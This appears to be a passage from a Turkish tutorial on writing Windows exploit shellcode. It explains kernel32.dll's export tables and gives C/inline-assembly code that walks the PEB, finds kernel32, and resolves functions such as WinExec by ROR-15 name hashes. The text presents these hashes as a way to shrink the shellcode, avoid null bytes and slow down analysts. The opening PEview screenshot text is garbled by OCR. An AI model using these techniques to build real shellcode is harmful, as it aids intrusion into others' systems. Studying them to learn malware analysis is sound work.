MAGE_DOS_HEADER 000014 MAGE_SUD Program 000014 MAGE_SUD Program 000014 MAGE_NT_HEADERS 000014 MAGE_FILE_HEADER 000014 MAGE_SECTION_HEADER 000014 MAGE_SECTION_HEADER text 000014 MAGE_SECTION_HEADER reloc 000014 MAGE_SECTION_HEADER reloc 000014 MAGE_SECTION_HEADER reloc 000014 MAGE_SECTION_HEADER reloc 000014 MAGE_SECTION_HEADER reloc 000014 MAGE_SECTION_HEADER reloc 000014 MAGE_SECTION_HEADER reloc 000014 MAGE_SECTION_HEADER reloc 000014 MAGE_LOAD_CONFIG_DIRECTORY 000014 MAGE_LOAD_CONFIG_DIRECTORY 000014	1C 000C98D9 20 000C98EF 24 000C98FB 28 000C990B 20 000C990B 20 000C990B 20 000C990B 20 000C990B 20 000C990B 20 000C990B 20 000C990B 20 000C9950 38 000C9950	Function Name RVA Function Name RVA Function Name RVA Function Name RVA Function Name RVA	0508 WakeConditionVariable -> NTDLL.RtlWakeConditionVariable 0509 WerGetFlags 050A WerRegisterFile 050B WerRegisterFile 050C WerRegisterFilmtimeExceptionModule	
HMAGE_NCHAPPORT HADERS HMAGE_NT_HEADERS HMAGE_NT_HEADERS HMAGE_FILE_HEADER HMAGE_FILE_HEADER HMAGE_GOTTIONAL_HEADER HMAGE_SECTION_HEADER.text HMAGE_SECTION_HEADER.text HMAGE_SECTION_HEADER.reloc HMAGE_SECTION_HEADER.reloc HMAGE_SECTION_HEADER.reloc HMAGE_HEADER_reloc HMAGE_HEADER_NEAD HMAGE_LOAD_CONFIG_DIRECTORY HMAGE_LOAD_CONFIG_DIRECTORY HONOTA HMAGE_ENPORT_DIRECTORY HONOTA	20 000C98EF 24 000C98FB 28 000C990B 20 000C990B 20 000C990B 20 000C990B 20 000C990B 230 000C9944 34 000C9962 38 000C9962	Function Name RVA Function Name RVA Function Name RVA Function Name RVA Function Name RVA	0509 WerGetFlags 050A WerRegisterFile 050B WerRegisterMemoryBlock 050C WerRegisterMummeExceptionModule	
HAAGE_NT_HEADERS 000014 Signature 000014 MAGE_FILE_HEADER 000014 MAGE_OPTIONAL_HEADER 000014 MAGE_SECTION_HEADER_text 000014 MAGE_SECTION_HEADER_train MAGE_SECTION_HEADER_train 000014 MAGE_SECTION_HEADER_reloc 000014 MAGE_SECTION_HEADER_reloc 000014 MAGE_LOAD_CONFIG_DIRECTORY 000014 MAGE_LOAD_CONFIG_DIRECTORY 000014	24 000C98FB 28 000C990B 20 000C990B 20 000C990B 30 000C9944 34 000C9950 38 000C9962	Function Name RVA Function Name RVA Function Name RVA Function Name RVA	050A WerRegister/File 050B WerRegister/MenoyBlock 050C WerRegister/RuntimeExceptionModule	
− Signature 000014 − IMAGE_FILE_HEADER 000014 − IMAGE_OPTIONAL_HEADER 000014 − IMAGE_SECTION_HEADER text 000014 − IMAGE_SECTION_HEADER text 000014 − IMAGE_SECTION_HEADER text 000014 − IMAGE_SECTION_HEADER reloc 000014 − IMAGE_SECTION_HEADER reloc 000014 − IMAGE_ISECTION_HEADER reloc 000014 − IMPORT Address Table 000014 − IMAGE_LOAD_CONFIG_DIRECTORY 000014 − IMAGE_EAPORT_DIRECTORY 000014	28 000C990B 2C 000C9922 30 000C9944 34 000C9950 38 000C9962	Function Name RVA Function Name RVA Function Name RVA	050B WerRegisterMemoryBlock 050C WerRegisterRuntimeExceptionModule	
- IMAGE_FILE_HEADER 000014 - IMAGE_OPTIONAL_HEADER 000014 - IMAGE_SECTION_HEADER text 000014 - IMAGE_SECTION_HEADER text 000014 - IMAGE_SECTION_HEADER_rsrc 000014 - IMAGE_SECTION_HEADER_reloc 000014 - IMAGE_SECTION_HEADER_reloc 000014 - IMAGE_LOAD_CONFIG_DIRECTORY 000014 - IMAGE_LOAD_CONFIG_DIRECTORY 000014	2C 000C9922 30 000C9944 34 000C9950 38 000C9962	Function Name RVA Function Name RVA	050C WerRegisterRuntimeExceptionModule	
	30 000C9944 34 000C9950 38 000C9962	Function Name RVA		
- IMAGE_SECTION_HEADER_text 000014 - IMAGE_SECTION_HEADER_data 000014 - IMAGE_SECTION_HEADER_tara 000014 - IMAGE_SECTION_HEADER_reloc 000014 - IMAGE_SECTION_HEADER_reloc 000014 - IMPORT_Address Table 000014 - IMAGE_LOAD_CONFIG_DIRECTORY 000014	34 000C9950 38 000C9962		050D WerSetFlags	
IMAGE_SECTION HEADER.data 000014 IMAGE_SECTION HEADER.rsrc 000014 IMAGE_SECTION HEADER.rsrc 000014 IMAGE_SECTION HEADER.reloc 000014 SECTION HEAT 000014 IMAGE_LOAD_CONFIG_DIRECTORY 000014 IMAGE_LADO_CONFIG_DIRECTORY 000014	38 000C9962	Function Name RVA	050E WerUnregisterFile	
		Function Name RVA	050F WerUnregisterMemoryBlock	
- IMAGE_SECTION, HEADER. reloc 000014 ☺ SECTION text 000014 - IMPORT Address Table 000014 - IMAGE_LOAD_CONFIG_DIRECTORY 000014 - IMAGE_EXPORT_DIRECTORY 000014	3C 000C997B	Function Name RVA	0510 WerUnregisterRuntimeExceptionModule	
SECTION text O00014 IMPORT Address Table O00014 IMAGE_LOAD_CONFIG_DIRECTORY O00014 IMAGE_EXPORT_DIRECTORY 000014	40 000C999F	Function Name RVA	0511 WerpCleanupMessageMapping	
- IMPORT Address Table 000014 - IMAGE_LOAD_CONFIG_DIRECTORY 000014 - IMAGE_EXPORT_DIRECTORY 000014	44 000C99B9	Function Name RVA	0512 WerpInitiateRemoteRecovery	
-IMAGE_LOAD_CONFIG_DIRECTORY 000014 -IMAGE_EXPORT_DIRECTORY 000014	48 000C99D4	Function Name RVA	0513 WerpNotifyLoadStringResource	
-IMAGE_EXPORT_DIRECTORY 000014	4C 000C99F1	Function Name RVA	0514 WerpNotifyLoadStringResourceEx	
	50 000C9A10	Function Name RVA	0515 WerpNotifyUseStringResource	
- EXPORT Address Table 000014	54 000C9A2C	Function Name RVA	0516 WerpStringLookup	
- EXPORT Name Pointer Table 000014	58 000C9A3D	Function Name RVA	0517 WideCharToMultiByte	
EXPORT Ordinal Table 000014	5C 000C9A51	Function Name RVA	0518 WinExec	
- EXPORT Names 000014	60 000C9A59	Function Name RVA	0519 Wow64DisableWow64FsRedirection	
IMPORT Directory Table 000014	64 000C9A78	Function Name RVA	051A Wow64EnableWow64FsRedirection	
IMPORT DLL Names 000014	68 000C9A96	Function Name RVA	051B Wow64GetThreadContext	
- IMPORT Name Table 000014	C 000C9AAC	Function Name RVA	051C Wow64GetThreadSelectorEntry	
- IMPORT Hints/Names 000014	70 000C9AC8	Function Name RVA	051D Wow64RevertWow64FsRedirection	
-IMAGE_DEBUG_DIRECTORY 000014	74 000C9AE6	Function Name RVA	051E Wow64SetThreadContext	
-IMAGE_DEBUG_TYPE_RESERVED10 000014	78 000C9AFC	Function Name RVA	051F Wow64SuspendThread	
-IMAGE_DEBUG_TYPE_CODEVIEW 000014	7C 000C9B0F	Function Name RVA	0520 WriteConsoleA	
SECTION .data 000014	80 000C9B1D	Function Name RVA	0521 WriteConsoleInputA	
SECTION .rsrc 000014	B4 000C9B30	Function Name RVA	0522 WriteConsoleInputVDMA	
E SECTION reloc 000014	88 000C9B46	Function Name RVA	0523 WriteConsoleInputVDMW	
000014	BC 000C9B5C	Function Name RVA	0524 WriteConsoleInputW	
000014	90 000C9B6F	Function Name RVA	0525 WriteConsoleOutputA	
000014	94 000C9B83	Function Name RVA	0526 WriteConsoleOutputAttribute	
000014	98 000C9B9F	Function Name RVA	0527 WriteConsoleOutputCharacterA	Ļ
000014	000C9BBC	Function Name RVA	0528 WriteConsoleOutputCharacterW	
000014	A0 000C9BD9	Function Name RVA	0529 WriteConsoleOutnutW	
				the second second second second second second second second second second second second second second second se

Daha sonra Export Ordinal Tablosunda (ki bu tablonun başlangıç adresi de

IMAGE_EXPORT_DIRECTORY'de HEX "24" offset'te yer alıyor) ilgili sıradaki 2 byte'lık değeri bulmalıyız. Bu değer bize EXPORT Address Tablosunda RVA değeri olarak ilgili fonksiyonun adresinin bulunduğu kayıt sıra numarasını verecek. Bu sıra numaralarının 0'dan başladığını unutmayalım. Ordinal tablosunun HEX A2E sırasındaki değerin HEX 517 olduğunu görüyoruz.

view - C:\Windows\System32\kernel32.dll	-	-			
<u>V</u> iew <u>G</u> o <u>H</u> elp					
0000 * • • • • • •					
ernel32.dll	pView	Data	Description	Value	
-IMAGE_DOS_HEADER	00000A18	050C	Function Ordinal	050D WerSetFlags	
-MS-DOS Stub Program	00000A1A	050D	Function Ordinal	050E WerUnregisterFile	
MAGE_NT_HEADERS	00000A1C	050E	Function Ordinal	050F WerUnregisterMemoryBlock	
- Signature	00000A1E	050F	Function Ordinal	0510 WerUnregisterRuntimeExceptionModule	
-IMAGE FILE HEADER	00000A20	0510	Function Ordinal	0511 WerpCleanupMessageMapping	
- IMAGE OPTIONAL HEADER	00000A22	0511	Function Ordinal	0512 WerpInitiateRemoteRecovery	
-IMAGE SECTION HEADER .text	00000A24	0512	Function Ordinal	0513 WerpNotifyLoadStringResource	
- IMAGE SECTION HEADER .data	00000A26	0513	Function Ordinal	0514 WerpNotifyLoadStringResourceEx	
- IMAGE SECTION HEADER .rsrc	00000A28	0514	Function Ordinal	0515 WerpNotifyUseStringResource	
-IMAGE SECTION HEADER .reloc	00000A2A	0515	Function Ordinal	0516 WerpStringLookup	
SECTION text	00000A2C	0516	Function Ordinal	0517 WideCharToMultiByte	
- IMPORT Address Table	00000A2E	0517	Function Ordinal	0518 WinExec	
-IMAGE LOAD CONFIG DIRECTORY	00000A30	0518	Inction Ordinal	0519 Wow64DisableWow64FsRedirection	
-IMAGE EXPORT DIRECTORY	00000A32	0519	Function Ordinal	051A Wow64EnableWow64FsRedirection	
- EXPORT Address Table	00000A34	051A	Function Ordinal	051B Wow64GetThreadContext	
- EXPORT Name Pointer Table	00000A36	051B	Function Ordinal	051C Wow64GetThreadSelectorEntry	
- EXPORT Ordinal Table	00000A38	051C	Function Ordinal	051D Wow64RevertWow64FsRedirection	
- EXPORT Names	00000A3A	051D	Function Ordinal	051E Wow64SetThreadContext	
- IMPORT Directory Table	00000A3C	051E	Function Ordinal	051F Wow64SuspendThread	
- IMPORT DLL Names	00000A3E	051F	Function Ordinal	0520 WriteConsoleA	
- IMPORT Name Table	00000A40	0520	Function Ordinal	0521 WriteConsoleInputA	
IMPORT Hints/Names	00000A42	0521	Function Ordinal	0522 WriteConsoleInputVDMA	
-IMAGE DEBUG DIRECTORY	00000A44	0522	Function Ordinal	0523 WriteConsoleInputVDMW	
-IMAGE DEBUG TYPE RESERVED10	00000A46	0523	Function Ordinal	0524 WriteConsoleInputW	
IMAGE DEBUG TYPE CODEVIEW	00000A48	0524	Function Ordinal	0525 WriteConsoleOutputA	
SECTION data	00000A4A	0525	Function Ordinal	0526 WriteConsoleOutputAttribute	
- SECTION ISIC	00000A4C	0526	Function Ordinal	0527 WriteConsoleOutputCharacterA	
SECTION reloc	00000A4E	0527	Function Ordinal	0528 WriteConsoleOutputCharacterW	
	00000450	0528	Function Ordinal	0529 WriteConsoleOutputW	
	00000A52	0529	Function Ordinal	052A WriteConsoleW	
	00000454	0524	Function Ordinal	052B WriteEile	
	00000456	052B	Function Ordinal	052C WriteFileEx	
	00000458	0520	Function Ordinal	052D WriteFileGather	d b.
	00000454	0520	Function Ordinal	052E WritePrivateProfileSectionA	A P

Export Ordinal tablosundaki değer fonksiyon adresinin EXPORT Address Table içindeki sırasını göstermektedir. Buna göre her bir adres bilgisi 4 byte olduğuna göre WinExec fonksiyonunun bu tablo içindeki offset'ini bulmak için HEX 517 x 4 = HEX 145C hesaplamasını yapabiliriz. PEView'dan bu adresi kontrol ettiğimizde WinExec fonksiyonunun RVA adresini görebiliriz.

PEview - C:\Windows\System32\kernel32.dll		Statement Statement		
Eile View Go Help				
⊡- kernel32.dll	pView	Data Description	Value	*
-IMAGE_DOS_HEADER	0000141C	000C98D9 Function Name RVA	0508 WakeConditionVariable -> NTDLL.RtIWakeConditionVariable	
-MS-DOS Stub Program	00001420	000C98EF Function Name RVA	0509 WerGetFlags	
HIMAGE_NT_HEADERS	00001424	000C98FB Function Name RVA	050A WerRegisterFile	
- Signature	00001428	000C990B Function Name RVA	050B WerRegisterMemoryBlock	
- IMAGE_FILE_HEADER	0000142C	000C9922 Function Name RVA	050C WerRegisterRuntimeExceptionModule	
MAGE_OPTIONAL_HEADER	00001430	000C9944 Function Name RVA	050D WerSetFlags	
-IMAGE_SECTION_HEADER .text	00001434	000C9950 Function Name RVA	050E WerUnregisterFile	
IMAGE_SECTION_HEADER .data	00001438	000C9962 Function Name RVA	050F WerUnregisterMemoryBlock	
IMAGE_SECTION_HEADER .rsrc	0000143C	000C997B Function Name RVA	0510 WerUnregisterRuntimeExceptionModule	
-IMAGE_SECTION_HEADER .reloc	00001440	000C999F Function Name RVA	0511 WerpCleanupMessageMapping	
SECTION .text	00001444	000C99B9 Function Name RVA	0512 WerpInitiateRemoteRecovery	
- IMPORT Address Table	00001448	000C99D4 Function Name RVA	0513 WerpNotifyLoadStringResource	
- IMAGE_LOAD_CONFIG_DIRECTORY	0000144C	000C99F1 Function Name RVA	0514 WerpNotifyLoadStringResourceEx	
-IMAGE_EXPORT_DIRECTORY	00001450	000C9A10 Function Name RVA	0515 WerpNotifyUseStringResource	
- EXPORT Address Table	00001454	000C9A2C Function Name RVA	0516 WerpStringLookup	
 EXPORT Name Pointer Table 	00001458	000C9A3D Function Name RVA	0517 WideCharToMultiByte	
- EXPORT Ordinal Table	0000145C	000C9A51 Function Name RVA	0518 WinExec	
- EXPORT Names	00001460	000C9A59 "Function Name RVA	0519 Wow64DisableWow64FsRedirection	
IMPORT Directory Table	00001464	000C9A78 Function Name RVA	051A Wow64EnableWow64FsRedirection	
IMPORT DLL Names	00001468	000C9A96 Function Name RVA	051B Wow64GetThreadContext	
- IMPORT Name Table	0000146C	000C9AAC Function Name RVA	051C Wow64GetThreadSelectorEntry	
- IMPORT Hints/Names	00001470	000C9AC8 Function Name RVA	051D Wow64RevertWow64FsRedirection	
- IMAGE_DEBUG_DIRECTORY	00001474	000C9AE6 Function Name RVA	051E Wow64SetThreadContext	
-IMAGE_DEBUG_TYPE_RESERVED10	00001478	000C9AFC Function Name RVA	051F Wow64SuspendThread	
- IMAGE_DEBUG_TYPE_CODEVIEW	0000147C	000C9B0F Function Name RVA	0520 WriteConsoleA	
SECTION .data	00001480	000C9B1D Function Name RVA	0521 WriteConsoleInputA	
B-SECTION .rsrc	00001484	000C9B30 Function Name RVA	0522 WriteConsoleInputVDMA	
SECTION .reloc	00001488	000C9B46 Function Name RVA	0523 WriteConsoleInputVDMW	
	0000148C	000C9B5C Function Name RVA	0524 WriteConsoleInputW	
	00001490	000C9B6F Function Name RVA	0525 WriteConsoleOutputA	
	00001494	000C9B83 Function Name RVA	0526 WriteConsoleOutputAttribute	
	00001498	000C9B9F Function Name RVA	0527 WriteConsoleOutputCharacterA	1
	0000149C	000C9BBC Function Name RVA	0528 WriteConsoleOutputCharacterW	$\triangleleft \triangleright$
	000014A0	000C9BD9 Eunction Name RVA	0529 WriteConsoleOutnutW	
Viewing EXPORT Name Pointer Table				

Özellikle son kısım biraz karmaşık olduğu için bir de tüm sürece bir grafik gösterim üzerinden tekrar bakalım:



Fonksiyon adresini bulmak için öncelikle modül baz adresini tespit ettiğimizi varsayıyoruz.

Modül baz adresi PE dosyasının hafızadaki başlangıç noktasına işaret ediyor. Bu nokta bildiğiniz gibi Image DOS Header'ın da başlangıcı. Bu başlığın HEX 3c offset adresinde Yeni EXE Header Offset'I bulunuyor.

Yeni EXE Header Offset'inin HEX 78 offset'inde Image Export Directory'nin RVA adresi bulunuyor. Fonksiyon adresini tespit etmek için geliştirdiğimiz uygulamayı incelerken de sıklıkla göreceğiniz gibi her referans noktasında bir sonraki değeri okuyabilmek için RVA adreslerinin modül baz adresi eklenerek VA (yani virtual address) formatına dönüştürülmesi gerekecek.

Image Export Directory'nin HEX 20 offset'inde Name Pointer Table'ın yani fonksiyon isimlerinin pointer'larının tutulduğu tablonun adresini elde ediyoruz. Aynı tablo içinde HEX 14 offset adresinde isim pointer'larını incelerken sayaç olarak kullanabileceğimiz toplam fonksiyon sayısı yani Number of Functions değerini buluyoruz. Geliştirdiğimiz kod içinde bu rakamı sondan başa doğru fonksiyon isimlerini incelemek için kullanacağız. Baştan sona bir arama da yapılarak bu değerin okunmasına gerek de kalmayabilirdi.

Fonksiyon ismini ve bu ismin pointer'ının Export Name Pointer Table'l içindeki sırasını tespit ettikten sonra fonksiyon adresini tespit edebilmek için bir ara tabloyu kullanmamız gerekiyor. Ordinal tablosu her biri 2 byte'lık yer kaplayan fonksiyon sıra numaralarını içeriyor. İsim tablosundaki sırada bulunan ordinal numarası fonksiyonun adres tablosundaki sırasını barındırıyor. Dolayısıyla önce Export Ordinal Table veri alanının başlangıcını Image Export Directory'nin HEX 24 offset'inden elde ettikten sonra ordinal tablosunun ilgili sırasında bulunan ordinal numarasını okuyoruz. Bu numarayı kullanarak ve yine Image Export Directory'sinden elde ettiğimiz Export Address Table veri alanının adresinden faydalanarak fonksiyon adres pointer'larından ilgili sırada bulunan adres bilgisini buluyoruz. Bu adres bilgisi de RVA formatında olduğundan fonksiyonun adresini modül baz adresini bu değere ekleyerek bulmamız gerekiyor.

Fonksiyon adresi bulma yolumuzu ortaya koyduktan sonra bunu hayata geçirelim. Ancak başlamadan önce fonksiyon adını tespit etme amacıyla genellikle kullanılan bir yöntemi açıklamak istiyorum. Fonksiyon isimleri shellcode içine gömülü bir string ile karşılaştırılmak yerine bir hesaplamaya tabi tutulur ve shellcode içinde bulunan değer ile karşılaştırılır. Örneğin ismi oluşturan her bir karakter 4 byte'lık bir değer ile toplanır, toplam değeri rotate ettirilerek içindeki bitlerin yerleri kaydırılır ve bu işlem ismin tüm karakterleri sonlanıncaya kadar devam eder. İşlem sona erdiğinde ortaya çıkan değer bizim daha önceden hesapladığımız değer ile eşleşiyorsa aradığımız fonksiyon ismini bulmuşuz demektir. Bu bir tür hash hesaplama yöntemi. Tabi ki kriptografik olarak güçlü bir yöntem olduğunu iddia edemeyiz, ancak araştırdığımız isim listesi içinde bir hash değeri çakışmaması olmaması bizim için yeterli. Bu yöntemin nasıl kodlandığını Kernel32 modülünün içindeki fonksiyonların hash değerlerini hesaplayan kodumuzun içinde göreceğiz.

Bu işlemi yapmanın birinci faydası her fonksiyonu 4 byte'lık bir veri ile ifade edebiliyor olmamız. Böylece fonksiyon ismi uzun olsa bile bizim shellcode'umuz içinde kaplayacağı alan 4 byte olacak. Ayrıca null byte problemimiz de kalmıyor. Bir diğer faydayı da kodu inceleyenlerin işini biraz daha zorlaştırmak olarak söyleyebiliriz. Bu nedenle hash değeri kullanımı zararlı yazılım yazarlarının favori yöntemlerinden birisi.

```
1. #include <stdio.h>
2.
3. int main()
4. {
```

```
5.
       char kelime[256];
6.
       int adres, hashDegeri;
7.
       adres = (int)&kelime;
8.
       while (1)
9.
       {
10.
            printf("Hash'lenecek kelimeyi giriniz: ");
11.
            fgets(kelime, 256, stdin);
12.
            size_t uzunluk = strlen(kelime); //fgets komut satırından alınan kelimenin sonu
   na newline karakteri koyduğundan bunu null karakteri ile değiştiriyoruz.
           if (kelime[uzunluk - 1] == '\n') {
13.
                kelime[uzunluk - 1] = '0';
14.
15.
            }
16.
             asm {
17.
                pushad
18.
19.
                hash_hesaplama_bolumu :
20.
               mov esi, adres
21.
                xor edi, edi
22.
               xor eax, eax
                cld; lods instructioni ESI register ini yanlışlıkla aşağı yönde değiştirmes
23.
   in diye emin olmak için kullanıyoruz
24.
25.
                hesaplama_dongusu :
               lodsb; ESI nin işaret ettiği mevcut fonksiyon adı harfini(yani bir byteı) A
26.
   L registerina yüklüyoruz ve ESI yi bir artırıyoruz
27.
                test al, al; Fonksiyon adının sonuna gelip gelmediğimizi test ediyoruz
                jz hesaplama_sonu; AL register değeri 0 ise, yani fonksiyon adını tamamlamı
28.
   şsak hesaplamayı sona erdiriyoruz
29.
                ror edi, 0xf; Hash değerini 15 bit rotate ettiriyoruz
30.
                add edi, eax; Hash değerine mevcut karakteri ekliyoruz
31.
                jmp hesaplama_dongusu
32.
33.
                hesaplama_sonu :
34.
               mov hashDegeri, edi; Hash değerini yazmak üzere saklıyoruz
35.
                popad
36.
            }
            printf("\nKelime\t\tHash Degeri\n-----\t\t----
37.
   \n%s\t\t%x\n\n", kelime, hashDegeri);
38.
       }
39. }
```

Fonksiyon adının hash'ini üretmek için kullanabileceğimiz basit bir kod örneğinin üzerinden birlikte geçelim ve uygulamamızı deneyelim.

Uygulamamız hash'i hesaplanacak olan kelime için 256 byte'lık bir lokal değişken tanımlıyor. Fgets fonksiyonu ile ilgili kelimeyi alıyoruz. Hafızada hash'ini hesaplayacağımız fonksiyon adları null karakterle bitiyor, ancak fgets fonksiyonu kelimeyi girdikten sonra Enter tuşuna bastığımızda kelimenin sonunda newline karakterini de alarak lokal değişkenimize yazıyor. Bu nedenle kelimenin sonundaki newline karakteri null karakteri ile değiştirerek kelimemizi C string'i haline getiriyoruz.

Daha sonra gelen inline assembly bölümünde:

- pushad ile tüm register'ların orjinal hallerini stack'e yazıyoruz.
- Kelimemizi sakladığımız lokal değişkenin adresini daha önce integer veri tipine cast ederek adres lokal değişkenine atamıştık. Bu değeri ESI register'ına aktarıyoruz. ESI register'I bizim için işlenecek bir sonraki karakteri işaret eden bir pointer görevi görecek.
- Hash hesaplamasında kullanacağımız EDI ve EAX register değerlerini sıfırlıyoruz.
- CLD instruction'I EFLAGS register'I içinde bulunan direction flag değerini sıfırlayarak uygulamanın önceki bölümlerinde bu değerin 1 olması riskini ortadan kaldırıyor. Çünkü biz ESI
register'ının işaret ettiği byte'ları soldan sağa doğru işleyeceğimizden emin olmak istiyoruz.

- Hash hesaplamasının yapılacağı döngüye geldiğimizde ilk olarak ESI register'ının işaret ettiği bir byte'l AL register'ına, yani EAX register'ının en düşük değere sahip byte'ına aktarıyoruz.
- Sonraki satırda kelimenin sonuna gelip gelmediğimizi anlamak için bu byte'ın null byte olup olmadığını test ediyoruz.
- Eğer kelimenin sonuna gelmemişsek hash değerimizi sakladığımız EDI register'ini 15 bit sağa rotate ettiriyoruz. Niye 15 bit derseniz herhangi bir özel nedeni yok, 14'te olabilirdi, 7'de olabilirdi. Burada amacımızın sadece fonksiyon adını 4 byte'lık bir değere dönüştürmek olduğunu unutmayın.
- Daha sonra EAX register'ındaki değeri, yani son okunan byte'l hash'imizin saklandığı EDI register'ına ekliyoruz.
- Eğer null byte'l okumuşsak hesaplama sona ermiş oluyor, EDI değerini hashDeğeri C lokal değişkenine atıyoruz. Popad instruction'l ile stackte saklanan tüm orjinal register değerlerini tekrar register'lara yüklüyoruz.
- Printf ile kelime ve hash değerini çıktı olarak yazıyoruz.

Şimdi bizim ilgilendiğimiz fonksiyon adları için bir deneme yapalım. Önce WinExec fonksiyon adının hash değerini hesaplayalım.

Daha sonra exploit shellcode'umuzun prosesi sorunsuz sonlandırması için kullanacağımız ExitProcess fonksiyon adının hash değerini hesaplayalım.



Bu iki değeri ve bu uygulamada kullandığımız hash hesaplama yöntemini oluşturacağımız shellcode içinde kullanacağız.

Shellcode geliştirme aşamasından önce son 2 bölümde üzerinde çalıştığımız konuları bir defa daha tekrar etmek ve bu problemleri çözmek için geliştirdiğimiz teknikleri bir araya getirmek için bir çalışma daha yapalım.

Bu adımda Kernel32 modülünün adresi ile birlikte bu modülün içindeki fonksiyonların adları ve adreslerini bulacağız, ayrıca fonksiyon isimlerinin hash değerlerini hesaplayacağız.

```
1. #include <stdio.h>
2.
3. int main()
4. {
5.
       int modulBaseAdresi;
6.
       int sayac;
7.
       int namesTableVA;
8.
       int hashDegeri;
9.
       int fonksiyonAdresi;
10.
       int exportTabloAdresi;
11.
       char *ptrFonksiyonAdi;
12.
13.
       int a:
14.
       __asm {
15.
16.
           pushad
17.
           xor ecx, ecx
           mov esi, fs:[0x30]; PEB adresi
18.
           mov esi, [esi + 0x0c]; PEB LOADER DATA adresi
19.
20.
           mov esi, [esi + 0x1c]; Başlatılma sırasına göre modül listesinin başlangıç adre
   si
21.
22.
           sonraki_modul :
23.
           mov eax, [esi + 0x08]; Modülün baz adresi
           mov modulBaseAdresi, eax
24.
25.
           mov edi, [esi + 0x20]; Modül adı(unicode formatında)
26.
           mov esi, [esi]; esi = Modül listesinde bir sonraki modül meta datalarının bulun
  duğu adres InInitOrder[X].flink(sonraki modul)
           cmp[edi + 12 * 2], cl; KERNEL32.DLL 12 karakterden oluştuğu için 24. byte'ın nu
27.
   11 olup olmadığını kontrol ediyoruz. Bu yöntem olabilecek en güvenli ve jenerik yöntem
   değil, ancak işimizi görüyor.
28.
           jne sonraki_modul; Eğer 24. byte null değilse kernel32.dll ismini bulamamışız d
   emektir
29.
30.
           mov ecx, [eax + 0x3c]; MSDOS başlığını atlıyoruz
31.
           mov edx, [eax + ecx + 0x78]; Export tablosunun RVA adresini edx e yazıyoruz
32.
           add edx, eax; Export tablosunun VA adresini hesaplıyoruz
33.
           mov exportTabloAdresi, edx; Export tablo adresini fonksiyonları tararken lazım
   olacağı için kaydediyoruz
34.
           mov ecx, [edx + 0x18]; Export tablosundan toplam fonksiyon sayısını sayaç olara
   k kullanmak üzere kaydediyoruz
35.
           mov sayac, ecx
36.
           mov ebx, [edx + 0x20]; Export names tablosunun RVA adresini ebx e yazıyoruz
37.
           add ebx, eax; Export names tablosunun VA adresini hesaplıyoruz
38.
           mov namesTableVA, ebx
39.
           popad
40.
       }
41.
42.
       while (sayac > 0){
43.
           __asm {
44.
               pushad
45.
                mov ecx, sayac; Hangi fonksiyon sırasında kaldığımızı hatırlamak üzere saya
   ç eğerini kullanıyoruz
46.
               dec ecx
47.
               mov sayac, ecx
48.
               mov ebx, namesTableVA; Names tablosunun VA adresini hatırlamak için namesTa
   bleVA değerini kullanıyoruz
               mov esi, [ebx + ecx * 4]; Export names tablosunda sırası gelen fonksiyon ad
49.
   ının pointerının RVA adresini hesaplıyoruz ve bu pointer'ın değerini ESI registerına at
   ıyoruz
50.
               mov eax, modulBaseAdresi; Modül başlangıç adresini hatırlamak için modulBas
   eAdresi değerini kullanıyoruz
```

51. add esi, eax; Fonksiyon pointerinin VA adresini hesapliyoruz mov ptrFonksiyonAdi, esi; Fonksiyon adının pointerını fonksiyon adını yazma 52. k üzere saklıyoruz 53. 54. hash_hesaplama_bolumu : 55. xor edi, edi 56. xor eax, eax cld; lods instruction1 ESI register 1n1 yanlışlıkla aşağı yönde değiştirmes 57. in diye emin olmak için kullanıyoruz 58. hesaplama dongusu : 59. lodsb; ESI nin işaret ettiği mevcut fonksiyon adı harfini(yani bir byteı) A L registerina yüklüyoruz ve ESI yi bir artırıyoruz 60. test al, al; Fonksiyon adının sonuna gelip gelmediğimizi test ediyoruz 61. jz hesaplama_sonu; AL register değeri 0 ise, yani fonksiyon adını tamamlamı ssak hesaplamay1 sona erdiriyoruz 62. ror edi, 0xf; Hash değerini 15 bit rotate ettiriyoruz 63. add edi, eax; Hash değerine mevcut karakteri ekliyoruz 64. jmp hesaplama_dongusu 65. 66. hesaplama_sonu : 67. mov hashDegeri, edi; Hash değerini yazmak üzere saklıyoruz 68. 69. fonksiyon_adresini_bulma : mov edx, exportTabloAdresi; Export tablo adresini hatırlıyoruz 70. 71. mov ebx, [edx + 0x24]; Export ordinal tablosunun RVA adresini kaydediyoruz 72. mov esi, modulBaseAdresi 73. add ebx, esi; Export ordinal tablosunun VA adresini hesaplıyoruz 74. mov cx, [ebx + 2 * ecx]; Mevcut fonksiyonun Name table sırasına denk düşen ordinal değerini tespit ediyoruz 75. mov ebx, [edx + 0x1c]; Export adres tablosunun RVA adresini EBX e saklıyoru 76. add ebx, esi; Export adres tablosunun VA adresini hesaplıyoruz mov eax, [ebx + 4 * ecx]; Ordinal numaras1 ile export adres tablosunun ilgi 77. li bölümünü okuyarak fonksiyon RVA adresini tespit ediyoruz 78. add eax, esi; Fonksiyonun VA adresini hesaplıyoruz 79. mov fonksiyonAdresi, eax; Fonksiyonun adresini yazmak üzere saklıyoruz 80. popad 81. 82. } 83. printf("%s;%x;%x\n", ptrFonksiyonAdi, hashDegeri, fonksiyonAdresi); 84. } 85. getchar(); 86.}

Kernel32FonksiyonListele.c

htrick

Uygulamamızı incelediğimizde daha önceki bölümlerimizde modül adreslerinin bulunması ve fonksiyon adreslerinin tespiti ile ilgili bahsettiğimiz tekniklerin bir araya getirildiğini göreceğiz. Yalnız burada hafızadaki adresini bulmaya çalışacağımız modül sadece Kernel32.dll modülü ve bu modülün export ettiği tüm fonksiyonlarla ilgili ad, adres ve hash bilgilerini elde edeceğiz.

Uygulama öncelikle Process Environment Block'un adresini tespit ediyor.

Bu veri yapısı içinde PEB LOADER DATA veri yapısının adresinin tutulduğu alan hesaplanıyor ve bu adres elde ediliyor.

PEB LOADER DATA veri yapısı içinde başlatılma sırasına göre modül listesinin tutulduğu alan hesaplanıyor ve burada bulunan adresin değeri elde ediliyor.

Modül inceleme döngüsüne girildiğinde ilk modülün baz adresi kaydediliyor. Eğer aradığımız modül bu modül ise bu baz adresi aşağıda kullanılmaya devam edilecek.

Modül baz adresini C uygulamasının printf fonksiyonu ile yazdırabilmek için bir C lokal değişkenine atıyoruz.

Liste içinde modül metadatasının HEX 20 offset'inde Unicode formatındaki modül adının adresi yer alıyor. Modül adının adresini EDI register'ına aktarıyoruz. İncelemekte olduğumuz modül metadata'sının Kernel32'ye ait olup olmadığını bu bilgiyi kullanarak anlayacağız.

